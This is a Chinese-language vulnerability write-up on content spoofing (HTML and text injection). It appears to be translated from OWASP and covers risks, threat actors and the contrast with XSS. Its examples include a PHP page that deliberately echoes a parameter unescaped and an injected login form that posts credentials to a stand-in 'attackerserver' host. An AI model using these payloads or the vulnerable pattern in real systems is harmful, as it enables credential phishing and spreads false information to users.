漏洞描述
内容欺骗,也被称为内容注入,“任意文本注入”,是一种通过Web应用程序中的注入漏洞针对用户进行的攻击。当应用程序无法正确处理用户提供的数据时,攻击者通常可以通过参数值将内容提供给Web应用程序,并反馈给用户。这在可信域的上下文中向用户呈现修改的页面。这种攻击通常用作社会工程或与社会工程结合使用,因为攻击是利用基于代码的漏洞和用户的信任。作为一个侧面说明,这种攻击被广泛误解为一种没有影响的错误。
风险因素
风险因素取决于应用程序的业务类型。如果应用商业品牌众所周知并且拥有主要竞争对手,那么这个问题可能会被恶意竞争对手/心怀不满的员工/不满意的客户滥用,从而引发虚假消息向毫无戒心的客户群发传播。增加风险的另一个因素是通过搜索引擎优化注入,搜索引擎抓取伪造的消息并制作URL。
通过这样做,客户可能会被迫转向竞争对手的产品。这可能会导致货币价值的损失,直到受害者业务正确完成。对于上市公司,其股价将下跌,导致数百万的损失。
攻击脚本
攻击者盗取拥有数千名追随者的社交账户,并通过Twitter / Facebook / Instagram /类似的热门频道发布误导性内容欺骗。这将导致媒体认为新闻是正确的,并创造头条新闻。
适用行业
- 销售一种产品作为主要业务功能的企业
例如:出租车业务,网上购物,在线服务业务
依靠品牌名称的商业实体
例如:化妆品牌,航空品牌
漏洞威胁
- 恶意的竞争对手
- 心怀不满的员工
- 不满意的客户
- 骗子
内容欺骗与跨站脚本
内容欺骗是一种与跨站点脚本(XSS)密切相关的攻击,尽管XSS使用<script>
和其他技术来运行JavaScript,但内容欺骗使用其他技术来修改页面以防恶意原因。即使在Web应用程序中使用了XSS缓解技术(如正确的输出编码),应用程序仍然可能容易遭受基于文本的内容欺骗攻击。
漏洞示例
HTML注入
下面演示一个可能的攻击场景。对于这种情况,让我们假设没有输出编码实体化:
- 攻击者发现注入漏洞,并决定欺骗登录表单
- 攻击者制造恶意链接,包括他注入的HTML内容,并通过电子邮件发送给用户
- 由于页面位于受信任的域内,因此用户访问该页面
- 攻击者注入的HTML被呈现并呈现给用户,询问用户名和密码
- 用户输入用户名和密码,这两个用户名和密码都发送给攻击者服务器
通过name参数包含一个注入漏洞的简单PHP页面:
<?php
$name = $_REQUEST ['name'];
?>
<html>
<h1>Welcome to the Internet!</h1>
<br>
<body>
Hello, <?php echo $name; ?>!
<p>We are so glad you are here!</p>
</body>
</html>
可以通过向页面发出以下GET请求来测试页面功能:
http://127.0.0.1/vulnerable.php?name=test
通过请求下面的链接,页面呈现注入的HTML,呈现登录表单,并在注入点之后注释页面的其余部分。一旦用户输入用户名和密码,这些值将通过POST发送到攻击者服务器上名为login.php的页面。
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST"
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password"
name="password" /><br /><input type="submit" value="Login" /></form><!--
文本注入
内容欺骗攻击的另一个例子是通过文本操作向用户呈现错误信息。下面演示一个攻击场景。对于这种情况,我们假设已经实现了适当的输出编码并且XSS是不可能的:
- 攻击者识别一个Web应用程序,该应用程序向用户提供有关是否应该购买或出售特定股票的建议
- 攻击者识别一个易受攻击的参数
- 攻击者通过稍微修改有效的请求来制造恶意链接
- 包含修改后的请求的链接将发送给用户,并且他们单击该链接
- 使用攻击者恶意推荐创建有效的网页,并且用户认为该推荐来自股票网站
有效的页面
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now
修改的页面
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now
另一个修改的例子
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.
相关攻击
相关漏洞
相关控制
相关参考
- http://capec.mitre.org/data/definitions/148.html
- http://projects.webappsec.org/w/page/13246917/Content%20Spoofing
- http://itlaw.wikia.com/wiki/Content_injection_attack
- CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
- OWASP’s XSS (Cross Site Scripting) Prevention Cheat Sheet
- OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: Data Validation
- HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html
- Case studies (Spotify, LinkedIn, ..etc): https://twitter.com/ncweaver/status/974802236567007232?s=12